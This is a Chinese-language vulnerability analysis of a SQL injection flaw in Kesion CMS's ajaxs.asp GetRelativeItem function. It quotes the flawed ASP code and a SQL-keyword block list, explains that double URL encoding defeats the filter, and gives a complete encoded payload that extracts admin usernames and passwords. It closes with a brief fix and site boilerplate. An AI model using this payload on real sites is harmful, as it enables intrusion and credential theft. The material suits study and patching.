函数过滤混乱导致注入
Dim KS:Set KS=New PublicCls Dim Action Action=KS.S(\”Action\”) Select Case Action Case \”Ctoe\” CtoE Case \”GetTags\” GetTags Case \”GetRelativeItem\” GetRelativeItem //问题函数 …skip… Case \”getonlinelist\” getonlinelist End Select Sub GetRelativeItem() //
漏洞函数开始 Dim Key:Key=UnEscape(KS.S(\”Key\”))//漏洞位置,只调用ks.s函数,无其它过滤。 Dim Rtitle:rtitle=lcase(KS.G(\”rtitle\”)) Dim RKey:Rkey=lcase(KS.G(\”Rkey\”)) Dim ChannelID:ChannelID=KS.ChkClng(KS.S(\”Channelid\”)) Dim ID:ID=KS.ChkClng(KS.G(\”ID\”)) Dim Param,RS,SQL,k,SqlStr If Key<>\”\” Then If (Rtitle=\”true\” Or RKey=\”true\”) Then If Rtitle=\”true\” Then param=Param & \” title like \’%\” & key & \”%\’\”//类似搜索型注入漏洞。 end if If Rkey=\”true\” Then If Param=\”\” Then Param=Param & \” keywords like \’%\” & key & \”%\’\” Else Param=Param & \” or keywords like \’%\” & key & \”%\’\” End If End If Else Param=Param & \” keywords like \’%\” & key & \”%\’\” End If End If If Param<>\”\” Then Param=\” where InfoID<>\” & id & \” and (\” & param & \”)\” else Param=\” where InfoID<>\” & id end if If ChannelID<>0 Then Param=Param & \” and ChannelID=\” & ChannelID Param=Param & \” and verific=1\” SqlStr=\”Select top 30 ChannelID,InfoID,Title From KS_ItemInfo \” & Param & \” order by id desc\” //查询 Set RS=Server.CreateObject(\”ADODB.RECORDSET\”) RS.Open SqlStr,conn,1,1 If Not RS.Eof Then SQL=RS.GetRows(-1) End If RS.Close
先进行了过滤,然后才调用UnEscape解码,
Public Function S(Str) S = DelSql(Replace(Replace(Request(Str), \”\’\”, \”\”), \”\”\”\”, \”\”)) Function DelSql(Str) Dim SplitSqlStr,SplitSqlArr,I SplitSqlStr=\”dbcc|alter|drop|*|and |exec|or |insert|select|delete|update|count |master|truncate|declare|char|mid|chr|set |where|xp_cmdshell\” SplitSqlArr = Split(SplitSqlStr,\”|\”) For I=LBound(SplitSqlArr) To Ubound(SplitSqlArr) If Instr(LCase(Str),SplitSqlArr(I))>0 Then Die \”<script>alert(\’系统警告!\\n\\n1、您提交的数据有恶意字符\” & SplitSqlArr(I) &\”;\\n2、您的数据已经被记录;\\n3、您的IP:\”&GetIP&\”;\\n4、操作日期:\”&Now&\”;\\n Powered By Kesion.Com!\’);window.close();</script>\” End if Next DelSql = Str End Function
如果配合Unescape()函数,刚过滤不会生效。可以采用unicode编码方式,则不会在浏览器中出现被过滤的字符。例如,单引号可以编码为。%2527,经过解码后还是“\’”号,这样的话,就可以利用类似php的二次编码漏洞的方式绕过过滤了。注入语句:%\’) union select 1,2,username+\’|\’+ password from KS_Admin转换如下:/plus/ajaxs.asp?action=GetRelativeItem&key=search%2525%2527%2529%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2531%252c%2532%252c%2575%2573%2565%2572%256e%2561%256d%2565%252b%2527%257c%2527%252b%2570%2561%2573%2573%2577%256f%2572%2564%2520%2566%2572%256f%256d%2520%254b%2553%255f%2541%2564%256d%2569%256e%2500修复方案:UnEscape()函数调用位置放在函数体内,或者不调用。
1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。
免责声明资源分享吧 »
Kesion cms注入漏洞分析及其修复方案
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 织梦模板使用说明
- 你下载的织梦模板并不包括DedeCMS使用授权,根据DedeCMS授权协议,除个人非盈利站点外,均需购买DedeCMS商业使用授权。购买地址: http://www.desdev.cn/service-dedecms.html